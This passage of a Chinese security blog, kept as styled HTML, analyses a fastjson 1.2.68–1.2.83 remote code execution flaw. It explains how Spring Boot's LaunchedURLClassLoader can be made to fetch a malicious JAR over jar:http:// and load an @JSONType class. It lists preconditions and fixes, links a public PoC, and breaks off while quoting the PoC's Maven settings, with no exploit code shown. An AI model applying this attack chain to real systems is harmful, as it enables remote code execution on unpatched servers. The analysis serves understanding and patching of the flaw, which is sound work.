Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">关于漏洞起始</span></span></span></h1><p cid="n233" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在这篇推文激起了外网的讨论之后，原作者逐渐公布了一些关于漏洞的信息</span></span></span></p><p cid="n235" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545026.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000686" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c0770899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsPEl3ZwgVxNr3RibAcnDaMXMEjPxwXY7AvltRLyMF7rpz0pKE77XS24aXh0Q7opG1cyPriauaib1cvEOicR1xyibILN0hibFys9Y61U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n238" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">该漏洞影响fastjson 1.2.68 -&gt; 1.2.83</span></span></span></p></li><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n240" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">与autoType无关，只有启用SafeMode或者迁移到Fastjosn 2.x来解决</span></span></span></p></li></ul><p cid="n242" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545713.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000684" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d031990e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtuqz2ZXibHHgIQlev7J6Xib8ohqFFMdRJ5sGJA8OT87y1XPFd8iaZYhq5yEdqdbCs62PxYOqSQPSUkBBLRhfhkj7JibicAyWicibw3K80%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n244" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545797.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000682" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8256dd3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtveqsUFsJF09FtaZNibiatkxDRlkShnibXe0GlOz7Nna2zQmzKvNfdWVBxcv5sc7plvjJRQCWibVTggA0UAcRXOZOpoiad6z04LuG9Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n247" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">不需要指定expectClass，不需要控制第二个参数，也不是走我们以往基于白名单类的绕过途径</span></span></span></p></li></ul><p cid="n249" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546290.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000687" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=eaae4fef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtsTmicCu7LicibOuRrAnlBZh6m5oqjJ6vneXOXpo6lTrZGsH1vN9f8KFEbwO6U2pB9QCAnbdKicnVc1aa9p3zuLj7hlHcxvXrXbGaM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n252" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">这个漏洞至少影响互联网上最常见的3个版本，8，17，21</span></span></span></p></li></ul><p cid="n253" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在这样的基础上，很多安全研究者开启了AI时代最有效的推进分析，真相被一点点剥开水面</span></span></span></p><h1 cid="n254" mdtype="heading" style=" box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 16px;margin-bottom: 1rem; font-weight: bold;line-height: 1.6em;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">抽丝剥茧</span></span></span></h1><p cid="n255" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">事情破局的第一步很快到来，github上有人直接分享了该漏洞的poc（这个poc已经404了），由于我已经没有截图了，甚至这个poc的推送作者是Codex，非常搞笑</span></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n258" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC" target="_blank">https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC</a></span></span></span></p></li></ul><p cid="n259" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在这片文章里提到了一个很有趣的漏洞点</span></span></span></p><p cid="n260" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">Fastjson可以通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">@JSONType</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">注解的类，最终远程代码执行。无论是否开启autoType。</span></span></span></strong></span></p><p cid="n262" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546982.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000689" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=802a930a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtvWuWiahbaaCickBVMkicYRnflKq3zwnBdeWCAFkg35PKpOlHSiapojzFI39v6BvrsBbgXrWCjicauZiauoCkIj0WxEQGRvvhjU19tMU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n263" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在 Spring Boot FatJar 环境中时，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，从而触发远程 HTTP 请求下载恶意 JAR，最终实现远程类加载和代码执行。</span></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n266" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">除了fastjson，还要求有springboot</span></span></span></p></li><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n268" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">应用以 Spring Boot FatJar 方式运行（使用 LaunchedURLClassLoader）</span></span></span></strong></span></p></li><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n270" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK 版本为 8</span></span></span></p></li></ul><p cid="n271" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">以下是Poc原文给出的依赖</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n272" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">properties</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">project</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">build</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">sourceEncoding</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">UTF</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">8</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/project.build.sourceEncoding&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">maven</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">compiler</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">source</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">1.8</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/maven.compiler.source&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">maven</span></span></span><span leaf=""><span 